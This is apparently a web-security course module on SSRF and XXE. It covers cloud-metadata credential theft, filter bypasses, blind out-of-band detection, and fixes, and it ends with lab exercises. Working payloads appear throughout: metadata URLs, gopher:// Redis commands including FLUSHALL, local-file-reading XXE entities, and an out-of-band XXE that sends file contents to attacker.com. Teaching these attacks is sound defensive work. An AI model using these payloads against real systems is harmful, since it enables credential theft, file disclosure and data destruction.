SSRF & XXE: Server-Side Request & XML Injection
Learn to identify and exploit Server-Side Request Forgery (SSRF) to access internal services and cloud metadata, and XML External Entity (XXE) injection to read local files and conduct SSRF.
Learning Objectives
- → Exploit SSRF to access internal services and AWS metadata
- → Bypass SSRF filters: IP obfuscation, DNS rebinding, URL schemes
- → Exploit XXE to read local files and conduct SSRF
- → Identify and exploit blind SSRF via out-of-band interaction
- → Implement SSRF and XXE defenses
Server-Side Request Forgery (SSRF)
What is SSRF?
The server fetches a URL on behalf of the user — attacker controls the URL:
User → App (fetch URL) → [URL controlled by attacker]
↓
Can target internal services!
Example vulnerable endpoint:
# Web app fetches URL from user input
url = request.POST.get("url")
response = requests.get(url) # SSRF!
return response.content
Basic SSRF Attacks
# Access localhost
http://localhost/admin
http://127.0.0.1/admin
http://127.0.0.1:8080/internal-api
# Access internal network
http://192.168.1.1/admin (router admin panel)
http://10.0.0.1/metrics (internal Prometheus)
http://172.16.0.1/ (internal services)
# Port scanning via SSRF
http://internal-server:22 (SSH — response/time reveals if port open)
http://internal-server:3306 (MySQL)
http://internal-server:6379 (Redis — can issue Redis commands!)
Cloud Metadata Service (Critical!)
AWS IMDSv1 (Instance Metadata Service):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
→ Returns: AccessKeyId, SecretAccessKey, Token (AWS credentials!)
GCP:
http://metadata.google.internal/computeMetadata/v1/instance/
Header required: Metadata-Flavor: Google
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header required: Metadata: true
Impact: steal cloud IAM credentials → full cloud account takeover
AWS IMDSv2 mitigates: requires PUT request first (harder to SSRF)
SSRF Filter Bypass
1. IP address formats
http://0177.0.0.1/ (octal: 127.0.0.1)
http://0x7f.0x0.0x0.0x1/ (hex)
http://2130706433/ (decimal: 127.0.0.1)
http://127.1/ (short form)
2. DNS rebinding
attacker.com → first resolves to allowed IP (bypass check)
→ then resolves to 127.0.0.1 (actual fetch)
[Check and fetch happen at different times]
3. URL scheme confusion
file:///etc/passwd (read local files)
dict://127.0.0.1:11211/ (Memcached)
gopher://127.0.0.1:6379/_REDIS_COMMAND (Redis via gopher)
sftp://attacker.com/ (credential leak via SFTP)
4. URL redirect
Attacker hosts: https://evil.com/redir → 302 to http://127.0.0.1/admin
App fetches evil.com → follows redirect to internal!
5. DNS open resolver
nip.io: 127-0-0-1.nip.io resolves to 127.0.0.1
xip.io: 127.0.0.1.xip.io resolves to 127.0.0.1
Blind SSRF
No response reflected — use out-of-band (OOB) detection:
# Attacker's Burp Collaborator/interactsh URL:
# Submit URL: http://YOUR_COLLABORATOR_URL
# If you receive a DNS or HTTP request → SSRF confirmed
# Tools:
# Burp Suite Collaborator (Pro)
# interact.sh — free: https://app.interactsh.com
# RequestBin
# canarytokens.org
# Exploit:
http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
# If blind: use Burp Collaborator, watch for callback with credentials
SSRF Defense
# Allowlist (preferred):
ALLOWED_DOMAINS = {"api.partner.com", "cdn.trusted.com"}
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("URL not allowed")
# Block internal ranges:
import ipaddress, socket
ip = socket.gethostbyname(parsed.hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Internal IP not allowed")
# Note: check IP after DNS resolution, not URL string (bypass: DNS rebinding)
# Disable redirects:
requests.get(url, allow_redirects=False)
# Use IMDSv2 on AWS (requires token, prevents simple SSRF):
# Enforce: aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required
XML External Entity (XXE) Injection
What is XXE?
XML parsers support external entity references — attacker injects:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><name>&xxe;</name></data>
XML parser reads /etc/passwd, replaces &xxe; with contents, includes in response.
XXE Attack Types
<!-- 1. Read local file -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>
<!-- 2. SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<name>&xxe;</name>
<!-- 3. Blind XXE (OOB) — no response reflected -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<name>&exfil;</name>
<!-- evil.dtd on attacker.com: -->
<!ENTITY % all "<!ENTITY exfil SYSTEM 'http://attacker.com/exfil?f=%file;'>">
%all;
<!-- 4. XInclude (when you don't control the DOCTYPE) -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- 5. XXE via SVG upload -->
<!-- Upload an SVG file with XXE payload — server parses it -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
XXE Defense
# Python lxml — disable entities:
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False, # disable external entities
no_network=True, # no network access
load_dtd=False, # don't load DTDs
)
tree = etree.parse(xml_file, parser)
# Python defusedxml — safe by default:
import defusedxml.ElementTree as ET
tree = ET.parse(xml_file) # safe — blocks XXE by default
# Java: disable external entities in DocumentBuilderFactory:
dbf = DocumentBuilderFactory.newInstance()
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True)
dbf.setFeature("http://xml.org/sax/features/external-general-entities", False)
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", False)
On a local Flask app with a URL-fetching endpoint (/fetch?url=): (1) test SSRF to http://127.0.0.1/admin, (2) try IP obfuscation bypass: http://0177.0.0.1/, (3) simulate AWS metadata fetch: http://169.254.169.254/latest/meta-data/ (if in AWS, use this; otherwise document what would be exposed), (4) implement IP allowlist defense, (5) block private IP ranges after DNS resolution.
Why is SSRF against AWS IMDSv1 especially critical?
What is DNS rebinding and why does it bypass SSRF filters?
Test an XML-processing endpoint for XXE: (1) send a basic XXE payload to read /etc/hostname, (2) try XInclude in case DOCTYPE is filtered, (3) attempt blind XXE with a collaborator URL, (4) try XXE via SVG file upload, (5) implement the fix: use defusedxml.ElementTree instead of xml.etree.ElementTree and verify all XXE payloads are blocked.
Why is defusedxml safer than Python's built-in xml.etree.ElementTree?
Chain SSRF with internal service access: (1) find SSRF in a file preview feature, (2) use SSRF to reach an internal Redis server at 127.0.0.1:6379 via gopher://, (3) send Redis FLUSHALL command via gopher payload, (4) chain XXE to SSRF: use XXE to reach the metadata service, (5) document the attack chain and the blast radius.
What is the gopher:// scheme used for in SSRF?